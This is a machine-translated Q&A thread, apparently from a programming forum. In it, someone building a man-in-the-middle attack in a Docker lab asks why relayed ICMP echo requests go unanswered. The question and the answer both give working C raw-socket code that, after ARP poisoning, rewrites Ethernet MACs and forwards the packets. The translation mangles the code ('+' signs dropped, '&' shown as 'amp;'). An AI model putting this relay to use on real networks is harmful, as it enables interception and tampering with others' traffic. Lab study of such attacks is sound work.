Человек в середине атаки на C с эхо-запросом ping

#c #arp #raw-sockets #man-in-the-middle

Вопрос:

Я внедряю человека в середине атаки в С. Существует три контейнера docker: Хост A (отправитель), Хост B (получатель) и Хост M (злоумышленник).

Моя цель состоит в том, чтобы выполнить пинг с хоста A на хост B, но перехватить эхо-запрос от A в M, а затем передать эхо-запрос от M к B.

Я уже сделал АРП-отравление. Пакеты ICMP отправляются из пункта А в пункт М. Теперь я пытаюсь передать эхо-запросы от M к B. Интересный факт: пакеты тоже ретранслируются, но в то время как A отправляет 1 эхо-запрос каждые 5 секунд ( ping -i 5 IP-hostB ), M передает эхо-запрос на хост B. Почему это происходит? Я передаю пакет только тогда, когда M получает эхо-запрос. Тогда откуда M получает затопленный эхо-запрос для ретрансляции?

Редактировать Наводнение ping теперь прекратилось после использования одного и того же сокета для приема и отправки пакетов. Но теперь эхо-запросы передаются от M к B (первоначально отправленные из A) должным образом. Но хост B не отправляет эхо-ответ для этих эхо-ответов. Раньше я tcpdump проверял, получает ли B эхо-запросы, и B действительно получает запросы. Почему же тогда B не отправляет ответ обратно? Я думал, это потому, что arp-кэш B отравлен. Но я сделал arp -a это на хосте B, и он знает, каков MAC-адрес хоста A.

Есть идеи, из-за чего B не отправляет эхо-ответ?

Соответствующий код ретрансляции:

 static unsigned short compute_checksum(unsigned short *addr,
                                       unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
                              const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);


int main()
{
    int saddr_size, data_size;
    struct sockaddr saddr;

    unsigned char *buffer = (unsigned char *) malloc(65536);

    int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")  1 );

    if(sock_raw < 0) {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }

    while(1) {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw, buffer, 65536, 0,
                             amp;saddr, (socklen_t*)amp;saddr_size);
        // data_size = recv(sock_raw, buffer, 65536, 0);
        if(data_size <0 ) {
            printf("Recvfrom error , failed to get packetsn");
            return 1;
        }
        relay_icmp_packet(buffer, data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void relay_icmp_packet(unsigned char* buffer, int size)
{
    // Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
    // Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
    // Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69

    int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    eth->h_dest[0] = 0X02;
    eth->h_dest[1] = 0X42;
    eth->h_dest[2] = 0X0A;
    eth->h_dest[3] = 0X09;
    eth->h_dest[4] = 0X00;
    eth->h_dest[5] = 0X06;

    struct iphdr *iph = (struct iphdr *)(buffer   sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    memset(amp;source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
    // printf("%sn", inet_ntoa(source.sin_addr));

    if (!(iph->saddr == inet_addr("10.9.0.5")
        amp;amp; iph->daddr== inet_addr("10.9.0.6")))
        return;

    struct icmphdr *icmph = (struct icmphdr*)(buffer   iphdrlen   sizeof(struct ethhdr));
    compute_ip_checksum(iph);
    icmph->checksum = 0;
    icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));

    struct sockaddr_ll device;
    memset(amp;device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret = -5;
    // ret = send(sockid, eth, size, 0);
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)amp;device, sizeof(device));
}

/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */

 

Комментарии:

1. Вы уверены, что поддельные пакеты не «отправляются» прямо обратно в саму M?

2. @G. Sliepen Я уверен в том смысле, что я вижу tcpdump хоста B, говорящий, что он получил эхо-запрос от хоста A прямо в тот момент, когда моя программа на хосте M говорит, что отправила эхо-запрос. В любом случае, есть новости. Больше нет никакого пинг-флуда. Сигналы поступают от А до М каждые пять секунд, а затем от М до В каждые пять секунд. Проблема теперь в том, что B не отправляет ответ на эхо. Я думал, это потому, что кэш arp B отравлен, так как B не получает ответы arp от A. Но я сделал arp -a это, и кэш Б в порядке. Есть идеи, что тогда происходит?

3. Я видел системы, достаточно умные, чтобы понять, что адрес ARP для отправки неверен, и выбросить пакет.

4. @Joshua, это делается путем проверки контрольной суммы. Я пересчитываю контрольную сумму в контейнере атакующего. Но, возможно, моя функция контрольной суммы ошибочна. Я достал его откуда-то из Интернета.

5. Если вы пропингуете B из M, ответит ли он эхом? (просто обычный ping , не MitM)

Ответ №1:

Я исправил проблему, изменив заголовок Ethernet ретрансляционного пакета. Изначально я думал, что мне нужно только изменить MAC-адрес назначения, так как IP-адрес назначения уже правильный. Но на самом деле все было еще проще. Позвольте мне повторить сценарий.

Есть три хоста: A, B и M, где M-атакующий. ARP-кэши A и B отравлены, так что A думает, что MAC-адрес B-MAC M, а B думает, что MAC-адрес A-MAC M.

Когда A отправляет ICMP-пакет в B, он вместо этого отправляется в M. M необходимо изменить исходный MAC на MAC M, а конечный MAC на MAC B, потому что по ARP B B думает, что MAC M на самом деле является MAC — адресом A.

Итак, когда изначально я менял только MAC-адрес получателя, B получал эхо-запрос ICMP, но отбрасывал его, потому что исходный IP-адрес и исходный MAC-адрес не совпадали в соответствии с ARP-кэшем B.

После исправления сработало следующее.

 void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
    // sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    unsigned short ethdrlen = sizeof(struct ethhdr);

    struct iphdr *iph = (struct iphdr *)(buffer   sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    if (iph->saddr == inet_addr("10.9.0.5")
        amp;amp; iph->daddr== inet_addr("10.9.0.6")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X06;
    } else if (iph->saddr == inet_addr("10.9.0.6")
        amp;amp; iph->daddr== inet_addr("10.9.0.5")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X05;
    } else {
        printf("FUCKn");
        return;
    }

    struct icmphdr *icmph = (struct icmphdr*)(buffer   iphdrlen   ethdrlen);
    int header_size =  sizeof(struct ethhdr)   iphdrlen   sizeof icmph;

    iph->check = 0;
    iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
    icmph->checksum = 0;
    icmph->checksum = compute_checksum((uint16_t *)icmph,
                                       size - ethdrlen - iphdrlen);

    struct sockaddr_ll device;
    memset(amp;device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret;
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)amp;device, sizeof(device));

    if (ret > 0) {
        printf("[%d] ICMP packet relayed to ", ret);
        PRINT_MAC_ADDRESS(stdout, eth->h_dest);
    }

    // close(sockid);
}